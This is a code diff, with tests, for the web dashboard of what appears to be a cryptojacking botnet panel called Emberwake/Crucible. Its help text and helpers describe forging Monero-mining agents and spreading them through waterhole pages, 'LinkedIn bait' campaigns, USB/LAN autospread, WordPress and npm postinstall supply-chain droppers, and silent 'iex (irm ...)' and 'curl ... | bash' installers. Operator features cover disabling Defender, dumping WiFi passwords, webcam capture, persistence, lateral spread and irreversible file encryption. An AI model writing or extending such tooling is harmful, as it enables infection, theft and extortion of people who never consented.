expect(buildAgent).toHaveBeenCalledOnce();
expect(buildAgent.mock.calls[0][0].spread_kit).toBe(true);
expect(buildAgent.mock.calls[0][0].cancel_token).toBe('tok-1');
@@ -84,7 +84,7 @@ describe('forgeMission helpers', () => {
campaign: 'linkedin-bait',
});
expect(result.exportSkipped).toBe(false);
expect(result.links.ps1).toContain('build-abc-123');
expect(result.build.build_id).toBe('build-abc-123');
});
it('skips export when spread_kit is false after presets', async () => {
@@ -103,7 +103,7 @@ describe('forgeMission helpers', () => {
});
expect(exportSpreadKit).not.toHaveBeenCalled();
expect(steps).toEqual(['configure', 'forge', 'copy', 'done']);
expect(steps).toEqual(['configure', 'forge', 'done']);
expect(result.exportSkipped).toBe(true);
});

View File

@@ -9,14 +9,13 @@ import {
shOneliner,
} from './emberwake';
export const MISSION_STEPS = ['configure', 'forge', 'export', 'copy'] as const;
export const MISSION_STEPS = ['configure', 'forge', 'export'] as const;
export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error';
export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = {
configure: 'Configure',
forge: 'Forge',
export: 'Export',
copy: 'Copy',
configure: 'Apply loadout presets',
forge: 'Build agent installer',
export: 'Package spread-kit ZIP',
};
export interface MissionLinks {
@@ -28,7 +27,6 @@ export interface MissionLinks {
export interface MissionResult {
build: BuildResponse;
links: MissionLinks;
exportSkipped: boolean;
}
@@ -147,9 +145,6 @@ export async function runForgeMission(opts: {
});
}
onStep?.('copy');
const links = buildMissionLinks(serverBase, buildId, campaign);
onStep?.('done');
return { build, links, exportSkipped };
return { build, exportSkipped };
}

View File

@@ -137,7 +137,7 @@ export function forgeDefaultsFromServerSmart(
const base: BuildRequest = {
...recommendedForgePreset(),
worker_name: '',
server_url: publicUrl || serverInfo.suggested_url || '',
server_url: publicUrl || serverInfo.lan_url || serverInfo.suggested_url || '',
wallet: config.wallet.address,
pool_host: config.pool.host,
pool_port: config.pool.port,

View File

@@ -39,7 +39,10 @@ export function joinRemotePath(cwd: string, name: string): string {
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/).filter(Boolean);
parts.pop();
if (parts.length === 0) {
return sep === '/' ? '/' : 'C:\\';
if (sep === '/') return '/';
// Preserve the original drive letter instead of hardcoding C:
const driveMatch = cwd.match(/^([A-Za-z]):/);
return driveMatch ? `${driveMatch[1].toUpperCase()}:\\` : 'C:\\';
}
const joined = parts.join(sep);
if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {

View File

@@ -1,6 +1,6 @@
import { describe, expect, it } from 'vitest';
import { getSetupStatus } from './setupStatus';
import { mockServerConfig } from '../test/fixtures';
import { effectivePublicUrl, getSetupStatus } from './setupStatus';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
describe('getSetupStatus', () => {
it('flags empty wallet and blank public URL', () => {
@@ -23,4 +23,53 @@ describe('getSetupStatus', () => {
);
expect(status.needsCalibration).toBe(false);
});
it('passes when public_url is blank but server reports detected LAN', () => {
const status = getSetupStatus(
mockServerConfig({ server: { public_url: '' } }),
{
...mockServerInfo,
lan_url: 'http://192.168.1.5:8989',
suggested_url: 'http://192.168.1.5:8989',
}
);
expect(status.needsCalibration).toBe(false);
expect(status.reasons).not.toContain(
'Public URL is blank or localhost — set your LAN address in Calibrate'
);
});
it('passes when public_url is blank but HTTPS tunnel endpoint is detected', () => {
const status = getSetupStatus(
mockServerConfig({ server: { public_url: '' } }),
{
...mockServerInfo,
lan_url: 'http://192.168.1.5:8989',
tunnel_url: 'https://nothing.thetempleofdoom.com',
suggested_url: 'https://nothing.thetempleofdoom.com',
cloudflared_configured: true,
}
);
expect(status.needsCalibration).toBe(false);
});
});
describe('effectivePublicUrl', () => {
it('prefers saved public_url over detected endpoints', () => {
expect(
effectivePublicUrl(
mockServerConfig({ server: { public_url: 'http://10.0.0.2:8989' } }),
mockServerInfo
)
).toBe('http://10.0.0.2:8989');
});
it('falls back to lan_url when public_url is blank', () => {
expect(
effectivePublicUrl(mockServerConfig({ server: { public_url: '' } }), {
...mockServerInfo,
lan_url: 'http://192.168.1.5:8989',
})
).toBe('http://192.168.1.5:8989');
});
});

View File

@@ -1,4 +1,5 @@
import type { ServerConfig } from '../types';
import type { ServerConfig, ServerInfo } from '../types';
import { formatLanEndpoint } from './endpointHelpers';
import { looksLikeXMRWallet } from './forgeValidation';
export interface SetupStatus {
@@ -17,8 +18,39 @@ function isBlankOrLocalPublicUrl(url: string | undefined): boolean {
}
}
/** Best URL workers can use — saved public_url, detected LAN, or HTTPS tunnel. */
export function effectivePublicUrl(
config: ServerConfig | null | undefined,
serverInfo?: ServerInfo | null
): string {
if (!config) return '';
const saved = config.server?.public_url?.trim();
if (saved && !isBlankOrLocalPublicUrl(saved)) return saved;
const lan = serverInfo?.lan_url?.trim();
if (lan && !isBlankOrLocalPublicUrl(lan)) return lan;
const port = serverInfo?.port ?? config.port ?? 8989;
for (const ip of serverInfo?.local_ips ?? []) {
const candidate = formatLanEndpoint(ip, port);
if (!isBlankOrLocalPublicUrl(candidate)) return candidate;
}
const tunnel = serverInfo?.tunnel_url?.trim();
if (tunnel && !isBlankOrLocalPublicUrl(tunnel)) return tunnel;
const suggested = serverInfo?.suggested_url?.trim();
if (suggested && !isBlankOrLocalPublicUrl(suggested)) return suggested;
return '';
}
/** True when wallet or LAN public URL still need Calibrate before forging. */
export function getSetupStatus(config: ServerConfig | null | undefined): SetupStatus {
export function getSetupStatus(
config: ServerConfig | null | undefined,
serverInfo?: ServerInfo | null
): SetupStatus {
if (!config) {
return { needsCalibration: true, reasons: ['Server configuration not loaded'] };
}
@@ -29,12 +61,15 @@ export function getSetupStatus(config: ServerConfig | null | undefined): SetupSt
} else if (!looksLikeXMRWallet(wallet)) {
reasons.push('Fleet payout wallet format looks invalid (expected Monero mainnet address)');
}
if (isBlankOrLocalPublicUrl(config.server?.public_url)) {
if (isBlankOrLocalPublicUrl(effectivePublicUrl(config, serverInfo))) {
reasons.push('Public URL is blank or localhost — set your LAN address in Calibrate');
}
return { needsCalibration: reasons.length > 0, reasons };
}
export function isSetupComplete(config: ServerConfig | null | undefined): boolean {
return !getSetupStatus(config).needsCalibration;
export function isSetupComplete(
config: ServerConfig | null | undefined,
serverInfo?: ServerInfo | null
): boolean {
return !getSetupStatus(config, serverInfo).needsCalibration;
}

View File

@@ -6,24 +6,18 @@ import {
} from './spreadTechniques';
describe('spreadTechniques', () => {
it('builds doc URLs with optional anchors', () => {
it('builds doc URLs with optional tab anchors', () => {
expect(spreadTechniqueDocUrl()).toBe(SPREAD_TECHNIQUES_DOC);
expect(spreadTechniqueDocUrl('technique-matrix')).toBe(
'/docs/SPREAD_TECHNIQUES.md#technique-matrix',
expect(spreadTechniqueDocUrl('web-waterhole')).toBe(
'/docs/SPREAD_TECHNIQUES.html#web-waterhole',
);
expect(spreadTechniqueDocUrl('wordpress-hosting-checklist')).toBe(
'/docs/SPREAD_TECHNIQUES.html#wordpress-hosting-checklist',
);
});
it('maps Emberwake bullets to playbook sections', () => {
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(7);
expect(EMBERWAKE_TECHNIQUE_LINKS[0].anchor).toBeTruthy();
});
it('links wiki-only techniques to /docs/', () => {
expect(spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)).toBe(
'/docs/#wordpress-plugin-supply-chain',
);
expect(spreadTechniqueDocUrl('npm-postinstall-helper', true)).toBe(
'/docs/#npm-postinstall-helper',
);
it('maps Emberwake bullets to playbook tabs', () => {
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(8);
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
});
});

View File

@@ -1,61 +1,66 @@
/** Links into docs/SPREAD_TECHNIQUES.md (served at /docs/SPREAD_TECHNIQUES.md). */
/** Links into the tabbed spread techniques playbook at /docs/SPREAD_TECHNIQUES.html */
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.md';
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.html';
export interface EmberwakeTechniqueLink {
/** Short label shown in Emberwake UI */
/** Short label — rendered as hyperlink text in Emberwake */
label: string;
/** Markdown heading anchor in SPREAD_TECHNIQUES.md or wiki section id */
/** Tab id or sub-anchor in SPREAD_TECHNIQUES.html */
anchor: string;
/** One-line operator hint */
/** One-line operator hint (no tutorial copy) */
hint: string;
/** When set, link targets /docs/#anchor instead of SPREAD_TECHNIQUES.md */
wiki?: boolean;
}
/** Maps Emberwake “how to spread” bullets to playbook sections. */
/** Maps Emberwake “how to spread” bullets to playbook tabs. */
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
{
label: 'Web waterhole',
anchor: 'owned-site-you-control-origin',
hint: 'Dropper landing page, spread-kit ZIP on owned origin',
anchor: 'web-waterhole',
hint: 'Owned-origin dropper or spread-kit lander',
},
{
label: 'curl | bash VPS',
anchor: 'server-specific-endpoints-linuxmacoswindows-servers',
hint: 'install.sh / install.ps1 one-liners on headless servers',
anchor: 'curl-bash',
hint: 'Headless install.sh / install.ps1 one-liners',
},
{
label: 'Campaign & War Room',
anchor: 'campaign-war-room',
hint: '?c= tags, A/B pins, funnel analytics',
},
{
label: 'Fusion media',
anchor: 'owned-site-you-control-origin',
hint: 'Fusion bundle as codec/tool download — pair with Desktop Fusion preset',
anchor: 'fusion-media',
hint: 'Codec/tool ZIP — Desktop Fusion preset',
},
{
label: 'USB propagation',
anchor: 'usb',
hint: 'Forge-time USB flag — not Emberwake export',
},
{
label: 'LAN kindling',
anchor: 'five-recommended-plays--sites-you-own',
hint: 'Universal spread kit + autospread — LAN Kindling forge preset',
},
{
label: 'A/B droppers',
anchor: 'social-engineering-funnel-email--ads--site--file',
hint: 'Campaign ?c= tags + pin build A vs B between waves',
anchor: 'lan',
hint: 'Universal spread kit + autospread preset',
},
{
label: 'WordPress plugin',
anchor: 'wordpress-plugin-supply-chain',
hint: 'Operator-owned plugin ZIP — /get?c=wp-{site} on your WP host',
wiki: true,
anchor: 'wordpress',
hint: 'Owned-site plugin ZIP — supply-chain wizard',
},
{
label: 'npm postinstall',
anchor: 'npm-postinstall-helper',
hint: 'Private package template — postinstall curls your install.sh',
wiki: true,
anchor: 'npm-helper',
hint: 'Private registry template — your packages only',
},
{
label: 'Social funnel',
anchor: 'social-funnel',
hint: 'Email → lander → pinned build chains',
},
];
export function spreadTechniqueDocUrl(anchor?: string, wiki = false): string {
if (wiki && anchor) return `/docs/#${anchor}`;
export function spreadTechniqueDocUrl(anchor?: string): string {
if (!anchor) return SPREAD_TECHNIQUES_DOC;
return `${SPREAD_TECHNIQUES_DOC}#${anchor}`;
}

View File

@@ -63,13 +63,13 @@ export function supplyChainZipFilename(family: SupplyChainFamily, siteOrCampaign
export function supplyChainWikiUrl(family: SupplyChainFamily): string {
return family === 'wordpress'
? spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)
: spreadTechniqueDocUrl('npm-postinstall-helper', true);
? spreadTechniqueDocUrl('wordpress')
: spreadTechniqueDocUrl('npm-helper');
}
export function supplyChainHostingChecklistUrl(family: SupplyChainFamily): string {
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
return spreadTechniqueDocUrl(anchor);
}
export interface HostingChecklistItem {

View File

@@ -0,0 +1,96 @@
import { describe, expect, it } from 'vitest';
import { UI_HELP } from './uiHelp';
describe('UI_HELP', () => {
const requiredKeys = [
'dash_fleet_health',
'dash_install_funnel',
'dash_operator_audit',
'dash_signal_locked',
'dash_advanced_mode',
'dash_raw_stream',
'dash_fleet_hash',
'dash_est_daily',
'dash_accept_rate',
'dash_nodes_live',
'dash_fleet_pipeline',
'dash_pool_stratum',
'dash_ai_activity',
'dash_gpu_rvn',
'dash_xmr_section',
'crucible_node_roster',
'crucible_heat_map',
'crucible_groups',
'crucible_active_target',
'crucible_tab_ops',
'crucible_tab_recon',
'crucible_tab_files',
'crucible_tab_spread',
'crucible_tab_tunnels',
'crucible_mining_ops',
'crucible_resume',
'crucible_pause',
'crucible_full_audit',
'crucible_posture_badge',
'crucible_master_terminal',
'crucible_section_agent',
'crucible_section_system',
'crucible_section_persistence',
'crucible_section_maintenance',
'crucible_section_intel',
'crucible_section_security',
'crucible_section_network',
'crucible_section_media',
'crucible_section_files_quick',
'crucible_section_files_advanced',
'crucible_section_destructive',
'crucible_section_spread',
'crucible_section_seek',
'crucible_section_ssh',
'crucible_section_tunnels',
'crucible_section_protocol_tunnel',
'crucible_section_portfwd',
'bm_pin_dropper',
'bm_public_build',
'bm_dropper_oneliner',
'bm_reforge',
'bm_platform_badge',
'fm_remote_browse',
'fm_upload',
'fm_encrypt_path',
'pt_path_tracer',
'pt_agent_chain',
'fleet_runtime_policy',
'fleet_runtime_modules',
'spread_funnel_widget',
'md_overview',
'md_operation_chip',
'md_spread_profile',
'md_campaign_identity',
'md_strike_pipeline',
'md_equip_strike',
'ew_overview',
'ew_campaign_setup',
'ew_campaign_slug',
'ew_install_links',
'ew_spread_kit',
'ew_war_room',
'ew_supply_chain',
'ew_public_urls',
'ew_techniques',
'ew_shared_notes',
] as const;
it('defines help for every documented UI key', () => {
expect(Object.keys(UI_HELP).sort()).toEqual([...requiredKeys].sort());
});
it('each entry is a complete non-empty blurb', () => {
for (const key of requiredKeys) {
const text = UI_HELP[key];
expect(typeof text).toBe('string');
expect(text.trim().length).toBeGreaterThan(20);
expect(text).not.toMatch(/coming soon|TODO|TBD/i);
}
});
});

View File

@@ -0,0 +1,163 @@
/** Inline help for dashboard, crucible, fleet, build manager, and other operator UI — not forge/calibrate form fields. */
export const UI_HELP: Record<string, string> = {
dash_fleet_health:
'Composite score from online ratio, accept rate, and hashrate activity. Green means the fleet is mining normally; amber or red flags nodes to check on Crucible.',
dash_install_funnel:
'Shows how many agents connected in the last 7 days, grouped by forged build. USB column counts agents that arrived via USB spread.',
dash_operator_audit:
'Server-side log of operator actions (logins, forge, remote commands). Last 50 entries; refreshes every minute.',
dash_signal_locked:
'Live WebSocket link to the control server. When reconnecting, fleet stats may be stale until the signal locks again.',
dash_advanced_mode:
'Overview hides extra charts, topology, pool status, and the raw matrix stream. Advanced shows the full telemetry deck.',
dash_raw_stream:
'Full-screen scrolling dump of live WebSocket traffic — useful for debugging agent messages, not day-to-day monitoring.',
dash_fleet_hash:
'Sum of 15-minute average hashrate across all online Monero (RandomX) miners in the fleet.',
dash_est_daily:
'Rough USD/day from live fleet hashrate and the cached XMR price. Connect a wallet on Calibrate for pool-reported earnings instead.',
dash_accept_rate:
'Percentage of submitted shares accepted by the pool. Below ~95% often means bad pool connectivity or misconfigured workers.',
dash_nodes_live:
'Online agents with an active WebSocket heartbeat versus total registered agents (including offline).',
dash_fleet_pipeline:
'Setup checklist: forged build exists → agent deployed → node online → hashrate flowing → shares reaching the pool.',
dash_pool_stratum:
'Upstream pool connections from this control server. LIVE = stratum connected; DEGRADED or DOWN means payout risk.',
dash_ai_activity:
'Agents with AI Autonomy enabled ask Ollama on this PC for self-healing decisions. Empty until a forged miner reports in.',
dash_gpu_rvn:
'Ravencoin KawPoW GPU miners detected on online agents. Separate from Monero CPU hashrate above.',
dash_xmr_section:
'Monero RandomX CPU mining stats for the fleet. GPU Ravencoin rigs appear in the RVN section below when active.',
crucible_node_roster:
'Every registered agent. Click to select; badges show SSH reachability, security posture, patches, and resource pressure.',
crucible_heat_map:
'Spatial view of node selection and group colors. Click a dot to toggle that agent in the roster.',
crucible_groups:
'Named color groups shared with Fleet Roster. Click a group chip to select all members for bulk commands.',
crucible_active_target:
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
crucible_tab_ops:
'Day-to-day remote control: pause/resume mining, shell commands, agent restart, logs, and power actions.',
crucible_tab_recon:
'Intelligence gathering: posture scans, full system audit, screenshots, camera list, and network discovery.',
crucible_tab_files:
'Browse, upload, download, and encrypt files on the selected online agent via the remote file browser.',
crucible_tab_spread:
'Lateral movement and propagation: spread-now, SMB shares, credential vault, and secure wipe.',
crucible_tab_tunnels:
'SSH port forwards and protocol tunnels between your control PC and selected agents.',
crucible_mining_ops:
'Pause or resume hashing on selected online nodes. The agent process stays connected — only the miner thread stops or starts.',
crucible_resume:
'Tell selected online miners to resume hashing after a pause command or idle throttle.',
crucible_pause:
'Pause mining on selected nodes without stopping the agent process — they stay connected.',
crucible_full_audit:
'Deep posture scan (3060s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
crucible_posture_badge:
'Quick security summary from the last heartbeat: AV, firewall, SSH, elevation, and patch state.',
crucible_master_terminal:
'Command output and errors from bulk ops stream here. Green lines succeeded; red lines failed.',
crucible_section_agent:
'Restart, fetch logs, kill, or fully uninstall the agent process on selected nodes.',
crucible_section_system:
'OS-level power actions — reboot or shutdown the whole machine, not just the miner.',
crucible_section_persistence:
'BITS jobs, host-binary hijack, and read-only persistence audits for surviving reboots.',
crucible_section_maintenance:
'Fleet upgrades, wake-on-LAN, registry read/write, and remote process kill by PID.',
crucible_section_intel:
'One-click intel pulls: screenshot, processes, netstat, clipboard, WiFi creds, and more.',
crucible_section_security:
'Post-exploit posture changes — disable Defender or dump saved WiFi passwords.',
crucible_section_network:
'Connectivity probes, listener tables, patch status, ARP neighbors, and firewall controls.',
crucible_section_media:
'Live desktop polling, camera enumeration, and per-device webcam snapshots.',
crucible_section_files_quick:
'Push files to Desktop or a custom path, or pull a remote file into the terminal.',
crucible_section_files_advanced:
'Delete, move, or secure-wipe paths on selected agents — confirm before destructive ops.',
crucible_section_destructive:
'SYS CRYPT encrypts Documents/home — irreversible without the key.',
crucible_section_spread:
'On-demand lateral spread, subnet discovery, SMB shares, and credential vault names.',
crucible_section_seek:
'SUPP Seek recursively seeds media folders with silent launcher stubs (Windows + Mac/Linux).',
crucible_section_ssh:
'Probe or wake OpenSSH on Windows nodes, plus a quick reference for direct and tunneled SSH.',
crucible_section_tunnels:
'WAN IP, UPnP hole punch, Cloudflare outbound tunnels, mesh peers, and tunnel stop.',
crucible_section_protocol_tunnel:
'Full protocol tunnel panel for the focused node — cloudflared, SSH forwards, and live status.',
crucible_section_portfwd:
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
bm_pin_dropper:
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
bm_public_build:
'Public builds appear on the login page download list without signing in — useful for LAN handoffs.',
bm_dropper_oneliner:
'One-liner scripts download and silently install the pinned build (or latest if none pinned) from this server.',
bm_reforge:
'Open Forge with this build\'s settings pre-filled so you can tweak and compile a new revision.',
bm_platform_badge:
'Target OS baked into the installer: Windows, Linux, macOS, or Universal (multi-OS ZIP).',
fm_remote_browse:
'Live directory listing on the selected agent. Double-click folders to navigate; select files to download or preview text.',
fm_upload:
'Push a file from your browser to the agent. Set destination path or defaults to current folder + filename.',
fm_encrypt_path:
'AES-256-GCM encrypt every file at the current path. Irreversible without the key — requires Remote Aggressive Ops.',
pt_path_tracer:
'On-demand multi-hop WireGuard VPN through up to 3 Windows agents. Scan the QR or import the .conf on your phone.',
pt_agent_chain:
'Pick agents in order — traffic hops through each node. Windows only; max 3 hops. Click TRACE to orchestrate tunnels.',
fleet_runtime_policy:
'Push live mining policy (schedule, CPU cap, optional pool override) to online agents without re-forging.',
fleet_runtime_modules:
'Hot-load optional agent modules (e.g. crucible ops pack) onto connected workers.',
spread_funnel_widget:
'Campaign install funnel: page hits → downloads → first beacon → mining, per ?c= slug. See Emberwake for full war room.',
md_overview:
'Fast path to a forged agent: pick Ghost, Loud, or Spread, optionally layer a spread profile, then one click builds and exports a kit when needed. Copy install commands from Builds; track campaigns in Emberwake; use Forge when you need every option.',
md_operation_chip:
'Ghost = stealth worker for quiet LAN installs. Loud = visible logs for lab testing. Spread = universal kit with USB/LAN autospread — pair with a spread profile on the right.',
md_spread_profile:
'Optional deliverable shape on top of your operation chip — e.g. LAN Kindling adds SMB/SSH spread flags, Desktop Fusion enables media fusion packaging.',
md_campaign_identity:
'Campaign slug tags every link with ?c= so Emberwake can group hits and beacons. Worker name, control URL, and wallet are the only identity fields you need here.',
md_strike_pipeline:
'One automated run: lock presets → compile the agent → export spread-kit ZIP when the loadout requires it. Install commands live on Builds after the run finishes.',
md_equip_strike:
'Starts the pipeline using your equipped loadout. Fix wallet or control URL errors before clicking; grab install one-liners from Builds when done.',
ew_overview:
'Spread desk after you forge: tag install links with ?c=, export lure kits, and read campaign funnels. Forge agents on Mission Deck (fast) or Forge (full control).',
ew_campaign_setup:
'Shared settings for every Emberwake export on this page. Campaign slug tags telemetry; pinned build selects which forged agent gets installed.',
ew_campaign_slug:
'Short name appended as ?c= on dropper and download URLs. War Room groups hits, downloads, beacons, and hashrate by this slug.',
ew_install_links:
'Per-platform install one-liners live in Builds. Pin a build there, then copy PowerShell / bash / download URLs for remote deploy.',
ew_spread_kit:
'Downloads a ZIP of spread-kit templates (README, Deploy scripts, lander assets) with your server URL and campaign slug baked in.',
ew_war_room:
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
ew_supply_chain:
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
ew_public_urls:
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
ew_techniques:
'Index of spread vectors with links into the tabbed Spread Techniques playbook. Emberwake handles actions; the playbook has step-by-step how-to.',
ew_shared_notes:
'Collaborative scratchpad synced to every logged-in operator. Use for lure copy, host paths, or rotation notes — not stored on agents.',
};

View File

@@ -0,0 +1,36 @@
import { describe, expect, it } from 'vitest';
import { agentStatsUnchanged } from './wsStatsCoalesce';
import { mockAgent } from '../test/fixtures';
describe('agentStatsUnchanged', () => {
it('returns true when payload matches current agent stats', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
}),
).toBe(true);
});
it('returns false when hashrate changes', () => {
const agent = mockAgent({ hashrate_15s: 100, hashrate_1m: 90, hashrate_15m: 80, cpu_usage_pct: 12 });
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 101,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
}),
).toBe(false);
});
});

View File

@@ -0,0 +1,70 @@
import type { Agent } from '../types';
import type { WSStatsUpdate } from '../types/ws';
/** Returns true when a stats_update payload would not change visible agent fields. */
export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
if (agent.hashrate_15s !== u.hashrate_15s) return false;
if (agent.hashrate_1m !== u.hashrate_1m) return false;
if (agent.hashrate_15m !== u.hashrate_15m) return false;
if (agent.cpu_usage_pct !== u.cpu_usage_pct) return false;
if (u.memory_usage_pct !== undefined && agent.memory_usage_pct !== u.memory_usage_pct) return false;
if (u.uptime_seconds !== undefined && agent.uptime_seconds !== u.uptime_seconds) return false;
if (u.shares_submitted !== undefined && agent.shares_total !== u.shares_submitted) return false;
if (u.shares_accepted !== undefined && agent.shares_good !== u.shares_accepted) return false;
if (u.listen_port_count !== undefined && agent.listen_port_count !== u.listen_port_count) return false;
if (u.dns_drifted !== undefined && agent.dns_drifted !== u.dns_drifted) return false;
if (u.cpu_freq_mhz !== undefined && agent.cpu_freq_mhz !== u.cpu_freq_mhz) return false;
if (u.cpu_max_mhz !== undefined && agent.cpu_max_mhz !== u.cpu_max_mhz) return false;
if (u.cpu_throttle !== undefined && agent.cpu_throttle !== u.cpu_throttle) return false;
if (u.cpu_temp_c !== undefined && agent.cpu_temp_c !== u.cpu_temp_c) return false;
if (u.disk_free_gb !== undefined && agent.disk_free_gb !== u.disk_free_gb) return false;
if (u.disk_total_gb !== undefined && agent.disk_total_gb !== u.disk_total_gb) return false;
if (u.disk_free_pct !== undefined && agent.disk_free_pct !== u.disk_free_pct) return false;
if (u.gpu_temp_c !== undefined && agent.gpu_temp_c !== u.gpu_temp_c) return false;
if (u.gpu_usage_pct !== undefined && agent.gpu_usage_pct !== u.gpu_usage_pct) return false;
if (u.gpu_miner_active !== undefined && agent.gpu_miner_active !== u.gpu_miner_active) return false;
if (u.gpu_hashrate_15s !== undefined && agent.gpu_hashrate_15s !== u.gpu_hashrate_15s) return false;
if (u.gpu_hashrate_1m !== undefined && agent.gpu_hashrate_1m !== u.gpu_hashrate_1m) return false;
if (u.gpu_hashrate_15m !== undefined && agent.gpu_hashrate_15m !== u.gpu_hashrate_15m) return false;
if (u.gpu_model !== undefined && agent.gpu_model !== u.gpu_model) return false;
if (u.ssh_available !== undefined && agent.ssh_available !== u.ssh_available) return false;
if (u.posture_score !== undefined && agent.posture_score !== u.posture_score) return false;
if (u.last_patch_days !== undefined && agent.last_patch_days !== u.last_patch_days) return false;
if (u.defender_rtp !== undefined && agent.defender_rtp !== u.defender_rtp) return false;
if (u.firewall_domain !== undefined && agent.firewall_domain !== u.firewall_domain) return false;
if (u.firewall_private !== undefined && agent.firewall_private !== u.firewall_private) return false;
if (u.firewall_public !== undefined && agent.firewall_public !== u.firewall_public) return false;
if (u.reboot_pending !== undefined && agent.reboot_pending !== u.reboot_pending) return false;
if (u.agent_elevated !== undefined && agent.agent_elevated !== u.agent_elevated) return false;
if (u.latency_ms !== undefined && agent.latency_ms !== u.latency_ms) return false;
if (u.pending_updates !== undefined && agent.pending_updates !== u.pending_updates) return false;
if (u.last_patch !== undefined && agent.last_patch !== u.last_patch) return false;
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
if (u.services !== undefined && agent.services !== u.services) return false;
return true;
}
function shallowStrArrayEq(a?: string[], b?: string[]): boolean {
if (a === b) return true;
if (!a || !b || a.length !== b.length) return false;
for (let i = 0; i < a.length; i++) {
if (a[i] !== b[i]) return false;
}
return true;
}
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
export const WS_LATEST_MESSAGE_TYPES = new Set([
'presence_snapshot',
'presence_update',
'notes_typing',
'emberwake_notes_updated',
'emberwake_war_room',
'agent_online',
'agent_offline',
'new_share',
'fleet_alert',
'command_result',
]);

View File

@@ -0,0 +1,36 @@
import { useEffect, useRef, useState } from 'react';
/** True when the document tab is visible (Page Visibility API). */
export function usePageVisible(): boolean {
const [visible, setVisible] = useState(
() => typeof document === 'undefined' || document.visibilityState === 'visible',
);
useEffect(() => {
const onVis = () => setVisible(document.visibilityState === 'visible');
document.addEventListener('visibilitychange', onVis);
return () => document.removeEventListener('visibilitychange', onVis);
}, []);
return visible;
}
/**
* Run `fn` on an interval; pauses while the tab is hidden.
*
* `fn` is stored in a ref so callers do NOT need to wrap it in `useCallback`.
* The effect only re-runs when `ms`, `enabled`, or tab-visibility changes —
* an unstable `fn` reference will NOT trigger extra immediate calls.
*/
export function useVisibleInterval(fn: () => void, ms: number, enabled = true): void {
const visible = usePageVisible();
const fnRef = useRef(fn);
// Keep the ref in sync with the latest fn without scheduling a new interval.
fnRef.current = fn;
useEffect(() => {
if (!enabled || !visible) return;
const id = window.setInterval(() => fnRef.current(), ms);
return () => window.clearInterval(id);
}, [ms, enabled, visible]);
}

View File

@@ -4,7 +4,9 @@
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import AgentsPage from './AgentsPage';
import { routerFuture } from '../routerFuture';
import { mockAgent, mockServerInfo } from '../test/fixtures';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
@@ -35,7 +37,11 @@ function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
}
function renderAgentsPage() {
return render(<AgentsPage />);
return render(
<MemoryRouter initialEntries={['/agents']} future={routerFuture}>
<AgentsPage />
</MemoryRouter>,
);
}
describe('AgentsPage', () => {
@@ -62,27 +68,12 @@ describe('AgentsPage', () => {
cleanup();
});
it('renders page heading and quick deploy labels', async () => {
it('renders page heading and builds install link', async () => {
renderAgentsPage();
expect(screen.getByRole('heading', { level: 1, name: 'Fleet Roster' })).toBeInTheDocument();
expect(screen.getByText('FLEET REGISTRY')).toBeInTheDocument();
await waitFor(() => {
expect(screen.getByText('One-liner Quick Deploy')).toBeInTheDocument();
});
expect(screen.getByText('Install & run (auto-launches)')).toBeInTheDocument();
expect(screen.getByText('Direct download only (saves file)')).toBeInTheDocument();
expect(screen.getAllByText('Windows')).toHaveLength(2);
expect(screen.getByText('Linux/Mac')).toBeInTheDocument();
expect(screen.getByText('macOS')).toBeInTheDocument();
});
it('builds quick deploy URLs from server info', async () => {
renderAgentsPage();
await waitFor(() => {
expect(screen.getAllByText(`iex (irm '${mockServerInfo.suggested_url}/install.ps1')`)).toHaveLength(1);
});
expect(screen.getByText(`curl -sL ${mockServerInfo.suggested_url}/install.sh | bash`)).toBeInTheDocument();
expect(screen.getByText(`${mockServerInfo.suggested_url}/get?os=windows`)).toBeInTheDocument();
expect(screen.getByText('Deploy a new worker')).toBeInTheDocument();
expect(screen.getByRole('link', { name: /View install commands in Builds/i })).toHaveAttribute('href', '/builds');
});
